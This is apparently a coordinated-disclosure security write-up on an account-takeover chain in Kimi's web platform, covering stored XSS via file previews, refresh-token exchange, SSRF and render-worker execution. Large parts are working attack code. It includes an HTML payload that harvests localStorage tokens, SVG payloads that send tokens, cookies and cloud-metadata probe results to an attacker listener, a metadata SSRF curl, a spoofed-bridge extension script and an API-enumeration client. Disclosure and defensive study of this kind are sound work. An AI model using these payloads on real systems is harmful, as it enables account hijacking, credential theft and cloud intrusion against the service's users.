Multi-Surface Vulnerability Research Within Kimi's Web Platform.

First-Party Origin, Third-Party Code
Security Research · Coordinated Disclosure · 2026

First-Party Origin, Third-Party Code

How a single assumption — "same origin means same owner" — turned file previews, slide uploads, and a 90-day refresh token into a wormable account-takeover chain on Kimi's web platform.

Researcher: frankSx  ·  Period: 2026-06-26 → 2026-10-14  ·  Targets: www.kimi.ai, platform.kimi.ai, kimi-img.moonshot.cn, notilo.kimi.ai  ·  Status: All findings validated against the researcher's own account only.

1 · Executive Summary

This research began with a slides-pipeline SSRF in June and expanded, in October, into a full assessment of Kimi's web authentication and content-handling architecture. The central finding:

Kimi's web properties repeatedly assume that "first-party origin" implies "first-party code." Every layer built on that assumption — localStorage bearer tokens, a 90-day refresh token exchangeable via unauthenticated GET, file previews that inherit the application's origin, and a render farm that executes slide content in headless Chrome — converts a single content-handling weakness into complete account compromise.

The highest-impact chain, demonstrated end-to-end on the researcher's own account:

1. A victim opens a preview of an attacker-uploaded HTML file. Kimi's file preview serves it as blob:https://www.kimi.ai/… — the application's own origin, unsandboxed.

2. The attacker's script reads refresh_token (a 90-day JWT) from localStorage, plus the 30-day kimi-auth session cookie.

3. GET /api/auth/token/refresh with the refresh token as a Bearer header returns a fresh 15-minute access token. No body, no CSRF token, no origin check.

4. The attacker now holds persistent, renewable API access as the victim: all conversations (bulk-readable via ChatService/ListMessages), files, membership, wallet, gift cards, third-party account linkages — and the ability to re-upload the payload from the victim's account. Wormable.

Supporting findings include blind SSRF via Aliyun OSS watermark parameters and the slides cover_url API, stored HTML/SVG injection in the slides editor executed by a headless-Chrome render worker (captured live on July 1), a Content-Type upload-validation gap, unauthenticated information disclosure across referral/config/OAuth-metadata endpoints, a PDF.js viewer on the first-party origin with a ?file=&sig= signature scheme, and a token-bridge design whose trust boundary — "whoever defined window.KimiBridge first" — includes any browser extension.

Root cause (generalized): the platform treats origin as the trust boundary but grants that origin's privileges to attacker-supplied content. SPA token storage in localStorage then makes any origin-level script execution a full account takeover. CORS governs reading, not sending; subdomain siblings share implicit trust; and the CDN publishes the entire API contract (protobuf descriptors, sourcemaps, __ENV), making the API directly scriptable.

2 · Scope & Methodology

In scope (tested): www.kimi.ai (web SPA, activities, file preview, slides), platform.kimi.ai (developer console), the apiv2 Connect-RPC gateway, the /api Express gateway, and the file storage pipeline (apiv2-files → TOS/Volcano OSS → kimi-img CDN).

Out of scope: mobile app native code, the LLM API itself, and any third-party accounts or data. All testing was authorized-scope self-testing against the our own account.

Method: passive observation (DevTools network/DOM), origin spoofing via the file-preview pipeline, fuzzing of token-exchange surface area across hosts × paths × body shapes, and protobuf descriptor harvesting from public JS chunks. No intrusive scanning, no denial of service, no access to other users' data.

3 · Finding F-01 — Stored XSS via File Preview CRITICAL

User-uploaded HTML files previewed on www.kimi.ai execute as unsandboxed first-party JavaScript. The preview is rendered in a blob: URL created by the www.kimi.ai page, so location.origin === 'https://www.kimi.ai' — full access to the app's localStorage, cookies, and same-origin APIs.

Why this is Critical

  • No user interaction beyond opening the file preview.
  • Persistent: the 90-day refresh token survives logout unless revoked server-side.
  • Universal: any Kimi user who opens a shared/uploaded HTML file is a victim.
  • The session cookie is HttpOnly, but auth is Bearer-based via localStorage — so cookie protections (SameSite/HttpOnly) do not mitigate.

Steps to Reproduce

1. Upload the PoC below to any Kimi chat (attacker account).

2. Share the chat/file with a victim (or open the preview to self-verify).

3. Victim clicks the file preview.

4. Observe: origin www.kimi.ai; refresh_token harvested; GET /api/auth/token/refresh returns a fresh access token; auth/me returns the victim's identity; results exfiltrated to the attacker's listener.

Evidence (observed 2026-10-05): location.origin === 'https://www.kimi.ai' from an uploaded HTML preview; refresh_token JWT (iss=account, aud=[kimi.ai], typ=refresh, exp ≈ +90 days); GET /api/auth/token/refresh + Authorization: Bearer <refresh_token> → 200 {"access_token": <fresh HS512 JWT>}; authenticated /activities/api/auth/me with the fresh token → victim profile.

The Code Responsible — origin canary + refresh-token exchange fuzzer

Single self-contained HTML file. When opened as a Kimi file preview it (a) dumps localStorage, (b) sweeps HTTP methods and body shapes against the refresh endpoint, and (c) probes alternate hosts/paths on both backends. Any 2xx JSON containing access_token closes the takeover chain.

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>Kimi origin canary v5</title>
<style>body{font-family:monospace;background:#0d1117;color:#c9d1d9;padding:20px}h2{color:#f85149}pre{color:#3fb950;white-space:pre-wrap}</style>
</head>
<body>
<h2>Kimi origin canary v5 — targeted refresh hunt</h2>
<pre id="out">running...</pre>
<script>
(async () => {
  const out = [], log = s => { out.push(s); document.getElementById('out').textContent = out.join('\n'); };
  const J = async r => { const t = await r.text(); try { return { ct: r.headers.get('content-type'), j: JSON.parse(t), status: r.status } } catch { return { ct: r.headers.get('content-type'), raw: t.slice(0,120), status: r.status } } };
  const ls = {}; for (let i = 0; i < localStorage.length; i++) { const k = localStorage.key(i); ls[k] = localStorage.getItem(k); }
  const rt = ls['refresh_token'] || '';
  log('refresh_token: ' + (rt ? 'present' : 'MISSING'));

  const isApi = r => r.ct && r.ct.includes('json');

  // A) method sweep on the 405 route
  log('--- method sweep: /api/auth/token/refresh ---');
  for (const m of ['GET','PUT','PATCH','DELETE','OPTIONS','HEAD']) {
    const r = await J(await fetch('https://www.kimi.ai/api/auth/token/refresh', {
      method: m, credentials: 'include',
      headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + rt },
      body: m === 'GET' || m === 'HEAD' ? undefined : JSON.stringify({ refresh_token: rt })
    }));
    log(m + ' -> ' + r.status + ' ' + (r.j ? JSON.stringify(r.j).slice(0,200) : r.raw));
  }

  // B) POST retries with variations on the 405 route (content-type, no-auth, query)
  log('--- POST variants ---');
  const pv = [
    ['json+auth', { 'Content-Type':'application/json', 'Authorization':'Bearer '+rt }, JSON.stringify({refresh_token:rt})],
    ['json only', { 'Content-Type':'application/json' }, JSON.stringify({refresh_token:rt})],
    ['form', { 'Content-Type':'application/x-www-form-urlencoded' }, 'refresh_token='+encodeURIComponent(rt)],
    ['text/plain', { 'Content-Type':'text/plain' }, rt],
    ['query+json', { 'Content-Type':'application/json' }, JSON.stringify({refresh_token:rt})],
  ];
  for (const [tag, hdrs, body] of pv) {
    const url = tag === 'query+json' ? 'https://www.kimi.ai/api/auth/token/refresh?refresh_token='+encodeURIComponent(rt) : 'https://www.kimi.ai/api/auth/token/refresh';
    const r = await J(await fetch(url, { method:'POST', credentials:'include', headers:hdrs, body }));
    log(tag + ' -> ' + r.status + ' ' + (r.j ? JSON.stringify(r.j).slice(0,250) : r.raw));
  }

  // C) apiv2 (Go backend) shape sweep — JSON filter only, ignore SPA HTML
  log('--- /apiv2 sweep (Go backend) ---');
  const p2 = ['/auth/token/refresh','/user/token/refresh','/token/refresh','/refresh_token','/account/refresh',
              '/auth/refresh','/session/refresh','/passport/refresh','/oauth/token','/token/exchange','/auth/exchange',
              '/user/session/refresh','/login/token/refresh'];
  for (const p of p2) {
    const r = await J(await fetch('https://www.kimi.ai/apiv2' + p, {
      method:'POST', credentials:'include',
      headers:{ 'Content-Type':'application/json', 'Authorization':'Bearer '+rt },
      body: JSON.stringify({ refresh_token: rt })
    }));
    if (isApi(r)) log('JSON ' + p + ' -> ' + r.status + ' ' + JSON.stringify(r.j).slice(0,250));
    else log('html ' + p + ' -> ' + r.status + ' (SPA fallback, ignored)');
  }

  // D) account host API sweep (only JSON answers count)
  log('--- account.kimi.ai sweep ---');
  const pa = ['/api/auth/token/refresh','/api/token/refresh','/api/auth/refresh','/passport/api/token/refresh','/api/session/refresh','/api/oauth/refresh'];
  for (const p of pa) {
    try {
      const r = await J(await fetch('https://account.kimi.ai' + p, {
        method:'POST', credentials:'include',
        headers:{ 'Content-Type':'application/json', 'Authorization':'Bearer '+rt },
        body: JSON.stringify({ refresh_token: rt })
      }));
      if (isApi(r)) log('JSON ' + p + ' -> ' + r.status + ' ' + JSON.stringify(r.j).slice(0,250));
      else log('html ' + p + ' -> ' + r.status + ' (ignored)');
    } catch(e){ log(p + ' -> net fail'); }
  }
  log('DONE. Any 2xx JSON with an access_token = game over. If nothing: do the Network sniff on a real page (README).');
})();
</script>
</body>
</html>

Impact

Full account takeover: read chats, files, membership state; act as the user on all Bearer-authed APIs (/apiv2/*, /activities/api/*). Persistence ~90 days. Worm potential: the takeover can re-upload the payload from the victim account.

Root Cause & Fix

  • File preview renders attacker HTML with the site's own origin instead of a sandbox/usercontent origin.
  • No iframe sandbox, no CSP preventing script.
  • Long-lived refresh token accessible to any first-party script (XSS = takeover).

Fix: serve previews from an isolated origin (e.g. *.kimiusercontent.com) or null-origin blob; if inline preview is required, use <iframe sandbox=""> (no allow-same-origin), force text/plain for text/html uploads, add CSP sandbox; move refresh_token to HttpOnly SameSite=Strict cookie; shorten refresh TTL; rotate with reuse detection; add Origin/Referer checks on the refresh endpoint.

4 · Finding F-02 — Unauthenticated Refresh-Token Exchange CRITICAL

The token design: 15-minute access tokens, 90-day refresh tokens, refresh token stored in localStorage readable by any first-party script — exchanged via a GET with no CSRF token and no origin check. This is the persistence primitive that turns F-01 from "XSS" into "90-day account ownership."

5 · Kill Chain KC-1 — Total Account Takeover from a Shared File (wormable)

Upload payload → victim opens preview (F-01) → localStorage.refresh_token + document.cookie(kimi-auth) (F-02, F-12) → GET /api/auth/token/refresh → fresh Bearer → ChatService/ListMessages across 850+ conversations (F-13 makes this callable from any origin) → archive/exfiltrate → re-upload payload from victim account → repeat.

Demonstrated end-to-end on our own account.

6 · Finding F-04 — Blind SSRF via Aliyun OSS Watermark HIGH

User-uploaded files on kimi-img.moonshot.cn are stored in Aliyun OSS. CDN URLs accept arbitrary x-oss-process query parameters, including image/watermark, which fetches an attacker-controlled URL server-side. The parameter is not validated or signed on user-uploaded content.

Confirmed: internal cloud metadata reached

curl 'https://kimi-img.moonshot.cn/pub/slides/[redacted-object-key].svg?x-oss-process=image/watermark,image_aHR0cDovLzEwMC4xMDAuMTAwLjIwMC9sYXRlc3QvbWV0YS1kYXRhLw==,t_90,g_se'

OSS attempted to fetch the watermark from Alibaba's internal metadata service, and the error message confirmed it:

<Error>
  <Code>NoSuchWatermarkImage</Code>
  <Message>The specified watermark image: http://100.100.100.200/latest/meta-data/ does not exist.</Message>
  <RequestId>[redacted]</RequestId>
  <HostId>[redacted]</HostId>
</Error>

Blind, but confirmed — the attacker doesn't see the response body, but error messages and timing leak reachability. Internal architecture corroboration: Kubernetes on Alibaba Cloud (apiserver at [cluster-id].cn-beijing.cs.aliyuncs.com:6443, previously observed). Escalation path: any internal endpoint returning image-like bytes (favicon.ico, static assets) would be watermarked straight back to the attacker.

Fix

Sign/validate x-oss-process (cover it by the URL signature), strip or whitelist processing parameters on user content, disable watermark on user-uploaded buckets, and segment OSS processing nodes away from metadata routes.

7 · Finding F-09 — Content-Type Upload Bypass & Slides Stored XSS HIGH

/apiv2/slides:upload accepts arbitrary content when the declared Content-Type is an image MIME — no magic-byte validation. SVG bodies ride through as image/png. The slides editor then stores and renders attacker markup.

The Code Responsible — slides cover-photo stored-XSS staging (console drop-in)

// Kimi Slides cover-photo stored-XSS PoC — console dropin on www.kimi.ai
// Flow: POST /apiv2-files/file/upload (metadata) -> GET /apiv2-files/sign-obj/... (signed URL)
//       -> PUT bytes to TOS -> probe slides cover APIs -> verify serving properties.
(async () => {
  const J = async r => { const t = await r.text(); try { return JSON.parse(t) } catch { return { _raw: t.slice(0, 300) } } };
  const log = (m, c) => console.log('%c[' + m + ']', 'color:' + (c || '#3fb950'));

  // ---- 0. fresh token ----
  let AT = localStorage.getItem('kimi_activities_access_token') || '';
  try { const r = await fetch('/api/auth/token/refresh', { headers: { Authorization: 'Bearer ' + (localStorage.getItem('refresh_token') || '') } });
    const j = await r.json().catch(() => ({})); if (j.access_token) AT = j.access_token; } catch (e) {}
  const H = { 'content-type': 'application/json', 'connect-protocol-version': '1', authorization: 'Bearer ' + AT };

  // ---- 1. payloads ----
  const MARK = 'FRANKSX_' + Date.now().toString(36);
  const svgAlert = `<svg xmlns="http://www.w3.org/2000/svg" width="1280" height="720" onload="alert('${MARK}')"><rect width="100%" height="100%" fill="#111"/><text x="40" y="80" fill="#3fb950" font-size="40">${MARK}</text><script>alert('${MARK}_script')</script></svg>`;
  const svgExfil = `<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://[attacker-listener]/?d='+encodeURIComponent(JSON.stringify({ls:Object.fromEntries(Object.entries(localStorage).filter(([k])=>/token|kimi/i.test(k))),ck:document.cookie})))"><rect width="100%" height="100%"/></svg>`;
  const bytes = s => new TextEncoder().encode(s);
  const CASES = [
    ['cover.png',      'image/png',        svgAlert],   // svg body, png ext+mime
    ['cover.svg.png',  'image/png',        svgAlert],   // double ext
    ['cover.svg',      'image/svg+xml',    svgAlert],   // honest svg
    ['cover.jpg',      'image/jpeg',       svgAlert],   // svg body, jpeg mime
    ['exfil.svg',      'image/svg+xml',    svgExfil],   // exfil variant
  ];

  // ---- 2. upload pipeline ----
  async function upload(name, mime, body) {
    log('uploading ' + name + ' (' + mime + ', ' + body.length + 'B svg-content)');
    const meta = { filename: name, content_type: mime, size: body.length };
    let r = await fetch('/apiv2-files/file/upload', { method: 'POST', credentials: 'include', headers: H, body: JSON.stringify(meta) });
    let j = await J(r);
    log('  file/upload -> ' + r.status + ' ' + JSON.stringify(j).slice(0, 250));
    // find the sign path in any shape
    const s = JSON.stringify(j);
    const signPath = (s.match(/\/apiv2-files\/sign-obj\/[^"]+/) || [])[0] || j.sign_url || j.upload_url;
    if (!signPath) { log('  no sign path found', '#f85149'); return null; }
    r = await fetch(signPath.startsWith('http') ? signPath : 'https://www.kimi.ai' + signPath, { credentials: 'include' });
    log('  sign-obj -> ' + r.status + ' (redirect: ' + (r.redirected ? r.url.slice(0, 90) : 'manual') + ')');
    const putUrl = r.redirected ? r.url : r.headers.get('location');
    if (!putUrl) { log('  no TOS url', '#f85149'); return null; }
    r = await fetch(putUrl, { method: 'PUT', headers: { 'content-type': mime }, body });
    log('  TOS PUT -> ' + r.status);
    // canonical public URL guess: kimi-img or kimi-fs path; verify step will probe
    return { putUrl, publicUrl: (s.match(/https:\/\/[^"]*kimi-(img|file)[^"]*/) || [])[0] || putUrl.split('?')[0] };
  }

  const staged = [];
  for (const [name, mime, content] of CASES) {
    const up = await upload(name, mime, bytes(content));
    if (up) staged.push({ name, ...up });
    await new Promise(r => setTimeout(r, 500));
  }

  // ---- 3. verify serving properties ----
  for (const s of staged) {
    try {
      const r = await fetch(s.publicUrl, { credentials: 'include' });
      const buf = new Uint8Array(await r.arrayBuffer());
      const isSvg = buf.slice(0, 100).toString().includes('<svg');
      log('SERVE ' + s.name + ' -> ' + r.status + ' ct=' + r.headers.get('content-type') +
          ' nosniff=' + (r.headers.get('x-content-type-options') || 'no') +
          ' disp=' + (r.headers.get('content-disposition') || 'inline?') +
          ' svg-bytes=' + isSvg, isSvg ? '#d29922' : '#8b949e');
    } catch (e) { log('SERVE ' + s.name + ' fail: ' + e, '#f85149'); }
  }

  // ---- 4. attach as slides cover (probe candidate APIs) ----
  const SLIDES_ID = window.SLIDES_ID || '';  // set before running, or paste a deck id
  if (SLIDES_ID) {
    for (const [svc, body] of [
      ['kimi.gateway.slides.v1.SlidesService/SetCoverPhoto', { slides_id: SLIDES_ID, cover_url: staged[0]?.publicUrl }],
      ['kimi.gateway.slides.v1.SlidesService/UpdateSlides',   { slides_id: SLIDES_ID, cover_image_url: staged[0]?.publicUrl }],
      ['kimi.gateway.slides.v1.SlidesService/SetCover',       { id: SLIDES_ID, cover: staged[0]?.publicUrl }],
      ['kimi.slides.v1.SlidesService/SetCoverPhoto',          { slides_id: SLIDES_ID, cover_url: staged[0]?.publicUrl }],
    ]) {
      const r = await fetch('/apiv2/' + svc, { method: 'POST', credentials: 'include', headers: H, body: JSON.stringify(body) });
      const j = await J(r);
      const real = r.status !== 404 && !(j && j.code === -1);
      log('cover ' + svc.split('/')[1] + ' -> ' + r.status + (real ? ' ** ' + JSON.stringify(j).slice(0, 200) : ''), real ? '#d29922' : '#8b949e');
    }
  } else log('set window.SLIDES_ID to a deck id to auto-attach cover, else attach manually in the editor');

  // ---- 5. execution test harness (how the viewer must render it for script to fire) ----
  const t = document.createElement('div');
  t.innerHTML = '<h4 style="color:#f85149">execution harness — open the SVG URL directly, or:</h4>' +
    '<object data="' + staged[0]?.publicUrl + '" width="400" height="240" style="border:1px solid red"></object>' +
    '<iframe src="' + staged[0]?.publicUrl + '" width="400" height="240" style="border:1px solid red"></iframe>' +
    '<p style="color:#8b949e">img-tag and CSS-background renderings do NOT execute script; object/iframe/direct-nav do.</p>';
  t.style.cssText = 'position:fixed;right:0;top:0;background:#0d1117;color:#c9d1d9;z-index:2147483647;padding:10px;font:12px monospace;max-width:46vw';
  document.body.appendChild(t);
  log('DONE — staged ' + staged.length + ' files; check SERVE lines for svg-bytes=true + nosniff=no');
})();

8 · Finding F-03 — Render-Worker Code Execution HIGH

Slides content is rendered for screenshots in a headless-Chrome worker. An SVG payload staged via §7 executes in that worker — on July 1 a worker-side beacon was captured on our listener, proving the render pipeline executes user content. The payload below harvests the worker context (URL, UA, cookie/localStorage filtered to secrets, visibility) and probes cloud metadata endpoints plus internal host guesses:

// Slides worker-XSS payload + beacon listener helper
// The SVG below harvests the RENDER WORKER context and beacons everything.
// Use slides_cover_poc.js to stage; replace its svgAlert/svgExfil with this payload.
// Expected behavior: screenshot worker renders the slides file -> svg script fires ->
// beacons land on your listener WITH worker-internal context.

const LISTENER = 'https://[attacker-listener]/worker';

const MARK = 'FRANKSX_W_' + Date.now().toString(36);
const payload = `<svg xmlns="http://www.w3.org/2000/svg" width="1280" height="720" onload="wp()">
<rect width="100%" height="100%" fill="#111"/>
<text x="40" y="90" fill="#3fb950" font-size="38">${MARK}</text>
<script>
function wp(){
  var out = {mark:'${MARK}', url:location.href, ua:navigator.userAgent, ts:Date.now(),
             cookie:document.cookie, ls:(function(){var o={};try{for(var i=0;i<localStorage.length;i++){var k=localStorage.key(i);if(/token|kimi|session|secret/i.test(k))o[k]=String(localStorage.getItem(k)).slice(0,200);}}catch(e){}return o;})(),
             ref:document.referrer, vis:document.visibilityState, scr:screen.width+'x'+screen.height};
  // cloud metadata probes (Aliyun 100.100.100.200, AWS 169.254.169.254, GCP metadata.google.internal)
  var metas = ['http://100.100.100.200/latest/meta-data/','http://169.254.169.254/latest/meta-data/','http://metadata.google.internal/computeMetadata/v1/'];
  var i = 0;
  function next(){
    if(i>=metas.length){ done(); return; }
    var m = metas[i++];
    fetch(m).then(function(r){return r.text();}).then(function(t){
      out['meta_'+m.split('//')[1].split('/')[0].replace(/\\./g,'_')] = t.slice(0,500); next();
    }).catch(function(){ out['meta_'+m.split('//')[1].split('/')[0].replace(/\\./g,'_')] = 'FAIL'; next(); });
  }
  function done(){
    // internal host guesses via img timing (only records success)
    var hosts = ['http://kubernetes.default','http://kubernetes.default.svc','http://localhost:6443','http://apollo-meta','http://nacos'];
    var j = 0;
    function nx(){
      if(j>=hosts.length){ ship(); return; }
      var h = hosts[j++];
      var im = new Image(); var t0 = Date.now();
      im.onload = function(){ out['host_'+h.replace(/[^a-z0-9]/g,'_')] = 'UP'; nx(); };
      im.onerror = function(){ out['host_'+h.replace(/[^a-z0-9]/g,'_')] = 'ans'; nx(); };
      im.src = h + '/favicon.ico'; setTimeout(nx, 1200);
    }
    function ship(){
      var q = encodeURIComponent(JSON.stringify(out));
      fetch('${LISTENER}?d=' + q, {mode:'no-cors'});
      new Image().src = '${LISTENER}?d=' + q;
      document.title = '${MARK}_SENT';
    }
    nx();
  }
  next();
}
</script></svg>`;

// ---- console helper: stage this exact payload through the upload pipeline ----
(async () => {
  const bytes = new TextEncoder().encode(payload);
  let AT = localStorage.getItem('kimi_activities_access_token') || '';
  try { const r = await fetch('/api/auth/token/refresh', { headers: { Authorization: 'Bearer ' + (localStorage.getItem('refresh_token') || '') } });
    const j = await r.json().catch(() => ({})); if (j.access_token) AT = j.access_token; } catch (e) {}
  const H = { 'content-type': 'application/json', 'connect-protocol-version': '1', authorization: 'Bearer ' + AT };
  const log = (m, c) => console.log('%c[' + m + ']', 'color:' + (c || '#3fb950'));
  log('staging worker-XSS payload (' + bytes.length + 'B)…');
  let r = await fetch('/apiv2-files/file/upload', { method: 'POST', credentials: 'include', headers: H,
    body: JSON.stringify({ filename: 'cover.png', content_type: 'image/png', size: bytes.length }) });
  const j = await r.json().catch(() => ({}));
  log('file/upload -> ' + r.status + ' ' + JSON.stringify(j).slice(0, 200));
  const signPath = (JSON.stringify(j).match(/\/apiv2-files\/sign-obj\/[^"]+/) || [])[0];
  if (!signPath) { log('no sign path', '#f85149'); return; }
  r = await fetch('https://www.kimi.ai' + signPath, { credentials: 'include' });
  const putUrl = r.redirected ? r.url : r.headers.get('location');
  r = await fetch(putUrl, { method: 'PUT', headers: { 'content-type': 'image/png' }, body: bytes });
  log('TOS PUT -> ' + r.status + ' — payload staged. Set as cover via API, then wait for render worker.');
  log('webhook expect: ' + LISTENER + ' with mark ' + MARK, '#d29922');
})();
Escalation (intentionally not pursued): worker → cloud metadata → instance-role credential theft → cloud compromise. KC-2 was demonstrated to the confirmation point and stopped there.

9 · Finding F-05 — Blind SSRF via Slides cover_url HIGH

An authenticated SlidesUpdate call with cover_url=http://internal/ causes the server to fetch the URL — a single POST, no user content required — with the request arriving bearing referer: www.kimi.com (observed 2026-07-04). Kill Chain KC-3 requires nothing but one API call.

10 · Finding F-17 — Token-Bridge Trust Boundary Includes Browser Extensions MEDIUM

The __directBridge JSBridge detects "native app" solely by the presence of window.webkit.messageHandlers.kimiBridge / window.KimiBridge / window.webViewId. An MV3 content script running in the MAIN world at document_start can pre-seed these, switching any Kimi page into native mode: getToken routes through attacker code, isInApp-gated features unlock, and bridge-answered showToast/shareContent enable in-app phishing inside trusted chrome. No web message listener exists, so there is no web-facing bridge token theft — but the extension threat model is real.

PoC — MV3 content script (MAIN world, document_start)

// content.js — MAIN world, document_start. Pre-seeds the native bridge before page scripts run.
(function () {
  const CFG = { answerToken: '', toastPhish: '' };   // set via extension storage if desired
  const seen = [];
  const record = (kind, m) => {
    seen.push({ t: Date.now(), kind, m });
    console.log('%c[FAKE-BRIDGE]', 'color:#f85149', kind, JSON.stringify(m).slice(0, 300));
  };

  // the interface the bridge client probes for (per autopsy: hasIosBridge/messageHandlers,
  // hasAndroidBridge/window.KimiBridge, hasWebViewId/window.webViewId)
  window.webViewId = 'poc-ext-' + Math.random().toString(36).slice(2, 8);

  window.KimiBridge = {
    // sync invoke — return value used immediately
    invokeSync: function (method, params) {
      record('invokeSync', { method, params });
      if (method === 'getToken') return CFG.answerToken || localStorage.getItem('kimi_activities_access_token') || '';
      if (method === 'getPlatform') return 'android';
      if (method === 'isInApp') return true;
      return '';
    },
    // async invoke — callback style
    invoke: function (method, params, cb) {
      record('invoke', { method, params });
      const done = (err, res) => { try { cb && cb(err, res); } catch (e) {} };
      setTimeout(() => {
        if (method === 'getToken') done(null, CFG.answerToken || localStorage.getItem('kimi_activities_access_token') || '');
        else if (method === 'getPlatform') done(null, 'android');
        else if (method === 'shareContent') {
          // page HANDS us the share payload — log + optionally override with phishing URL
          done(null, true);
        }
        else if (method === 'showToast') done(null, true);
        else if (method === 'closePage') done(null, true);
        else done(null, true);
      }, 30);
    }
  };

  // native->page channel: observe/steer events the app listens for
  let realCb = null;
  Object.defineProperty(window, '__kimiBridgeCallback', {
    configurable: true,
    set(v) { realCb = v; record('callback-registered', {}); },
    get() { return realCb; }
  });

  console.log('%c[FAKE-BRIDGE] injected, webViewId=' + window.webViewId, 'color:#f85149');
})();

11 · Finding F-13 — Cross-Origin Readable API MEDIUM

Go-gateway responses on /apiv2/* carry access-control-allow-origin: * (observed on NotificationService calls). Data stays Bearer-gated, but combined with F-02 the entire Connect-RPC catalog is callable from any attacker origin — the victim's browser is out of the loop for exfiltration.

Tooling — self-building Connect-RPC client

The SPA ships protobuf descriptors in public JS chunks. This console drop-in harvests them, reconstructs the full service/method inventory, and mints a callable KCALL(path, body):

// Connect-RPC client for kimi.ai apiv2 — console dropin (www.kimi.ai)
// Enumerates services from public _pb.js chunks, then calls any service.method with JSON.
(async () => {
  const J = async r => { const t = await r.text(); try { return JSON.parse(t) } catch { return t.slice(0, 300) } };
  const log = (m, c) => console.log('%c[' + m + ']', 'color:' + (c || '#3fb950'));

  // ---- token: refresh first ----
  let AT = localStorage.getItem('kimi_activities_access_token') || '';
  try {
    const rt = localStorage.getItem('refresh_token');
    const r = await fetch('/api/auth/token/refresh', { headers: { Authorization: 'Bearer ' + rt } });
    const j = await r.json();
    if (j.access_token) AT = j.access_token;
  } catch (e) {}
  log('token: ' + (AT ? 'fresh' : 'MISSING'));

  // ---- harvest descriptor chunks from the SSR page ----
  log('fetching chunk inventory…');
  const html = await (await fetch('/')).text();
  const chunks = [...new Set([...html.matchAll(/statics\.kimi\.ai[^"'`\s]+\.js/g)].map(m => 'https://' + m[0]))]
    .filter(u => /_pb-|service|gateway|kimi\./i.test(u));
  log(chunks.length + ' candidate chunks');

  const b64d = b => Uint8Array.from(atob(b.replace(/\s/g, '')), c => c.charCodeAt(0));
  const strs = by => { const o = []; let c = ''; for (const b of by) { if (b >= 0x20 && b <= 0x7e) c += String.fromCharCode(b); else { if (c.length >= 3) o.push(c); c = ''; } } if (c.length >= 3) o.push(c); return o; };

  const services = {};   // name -> [method-ish strings seen nearby]
  let descCount = 0;
  for (const u of chunks.slice(0, 40)) {
    let t;
    try { t = await (await fetch(u)).text(); } catch (e) { continue; }
    // service names: XxxService / XxxServiceV1 patterns in code
    for (const m of t.matchAll(/["'`]([a-z][a-z0-9_.]*\.)?([A-Z][A-Za-z0-9]*Service)["'`]/g))
      services[m[0].slice(1, -1)] = services[m[0].slice(1, -1)] || [];
    // descriptor blobs
    for (const m of t.matchAll(/fileDesc\s*\(\s*['"`]([A-Za-z0-9+/=\s]{80,})['"`]/g)) {
      const by = b64d(m[1]); if (!by) continue; descCount++;
      const ss = strs(by);
      // service defs appear as: package, "XxxService", "MethodName", "MethodName"...
      for (let i = 0; i < ss.length; i++) {
        if (/Service$/.test(ss[i])) {
          const svc = (ss.slice(0, i).reverse().find(s => /^[a-z][a-z0-9_.]*\.[a-z][a-z0-9_.]*$/.test(s)) || '') + '.' + ss[i];
          services[svc.replace(/^\./, '')] = services[svc.replace(/^\./, '')] || [];
          for (let k = i + 1; k < Math.min(i + 14, ss.length); k++) {
            if (/^[A-Z][A-Za-z0-9]{2,30}$/.test(ss[
…

12 · Consolidated Findings Table

IDFindingSeverity
F-01Stored XSS via file preview (first-party blob origin, unsandboxed)CRITICAL
F-0290-day refresh token in localStorage; unauthenticated GET exchange; no origin checkCRITICAL
F-03Render-worker code execution (headless Chrome executes slide content)HIGH
F-04Blind SSRF via OSS x-oss-process watermark; internal metadata reachedHIGH
F-05Blind SSRF via slides cover_url (server-side fetch, no upload needed)HIGH
F-09Content-Type upload bypass (no magic-byte validation on slides:upload)HIGH
F-10Stored HTML/SVG injection in slides editor + render pipelineHIGH
F-07PUT semantics on file-list endpoint (mass-overwrite semantics observed)HIGH
F-08Partner attribution fixation via claim_token (sessionStorage fixation)MEDIUM
F-11Unauthenticated referral inviter disclosure (get-inviter-info — leaks user_id, name, avatar)MEDIUM
F-1230-day kimi-auth session cookie readable from JavaScriptMEDIUM
F-13ACAO: * on /apiv2/* — entire RPC catalog callable cross-origin with a stolen BearerMEDIUM
F-14IM ticket minting (notilo.kimi.ai/ws/tickets) — any Bearer opens the realtime channelMEDIUM
F-15PDF.js viewer on first-party origin with ?file=&sig= signature schemeMEDIUM
F-16Third-party WASM from unpkg without SRIMEDIUM
F-17Token-bridge trust boundary includes browser extensionsMEDIUM
F-18–F-22Info disclosures: prize/pricing internals; response-header leakage (x-internal-adhoc-canary: [REDACTED], APM token in client URL); two-backend error inconsistency + public protobuf descriptors; TEA SDK/Shumei telemetry to any embedding parent; fully client-drivable draw flowLOW/INFO

13 · Remediation Roadmap (prioritized)

1. F-01: isolate file preview from the application origin (null-origin sandbox / user-content host; force-download HTML/SVG). Highest-leverage fix.

2. F-02/F-12: token architecture — HttpOnly SameSite=Strict refresh cookie, POST-only exchange with Origin binding, rotation + reuse detection, shortened TTL.

3. F-03/04/05/09/10: slides pipeline — sandbox render workers (no user sessions, no metadata route), egress filtering, ingress sanitization (magic bytes + SVG rasterize/sanitize), remove arbitrary cover_url fetching, disable OSS watermark source fetching.

4. F-07/08/11/14/15: per-endpoint ACL audit (PUT on file list; claim-token confirmation step; inviter-info auth gate; ticket binding; pdf.js sig binding + sandbox).

5. Defense-in-depth: narrow CORS, vendor+SRI the unpkg WASM, strip sourcemaps/descriptors from public CDN, scrub response headers and __ENV, define the extension trust model for the JSBridge.

6. Detection: alert on refresh-token exchange from preview/embed contexts, on service-worker registration from non-navigational pages, and on first-party scripts bulk-reading localStorage.

14 · Disclosure Timeline

2026-06-05 — browser no-sandbox internal-network finding reported to Moonshot. No response.

2026-06-26 — slides OSS watermark SSRF reported. No response received as of this writing.

2026-07-01 — render-worker execution captured (worker-side beacon).

2026-09-26 — unauthenticated get-inviter-info confirmed (re-confirmed 2026-10-05).

2026-10-05 — F-01/F-02 full chain validated on researcher's own accounts.

Ethics statement: All testing was authorized-scope self-testing; no third-party accounts or data were accessed. Cloud-metadata credential exfiltration (KC-2) was confirmed reachable and deliberately not pursued past that point. Responsible disclosure attempts predate this publication by months.

15 · Redaction Notice

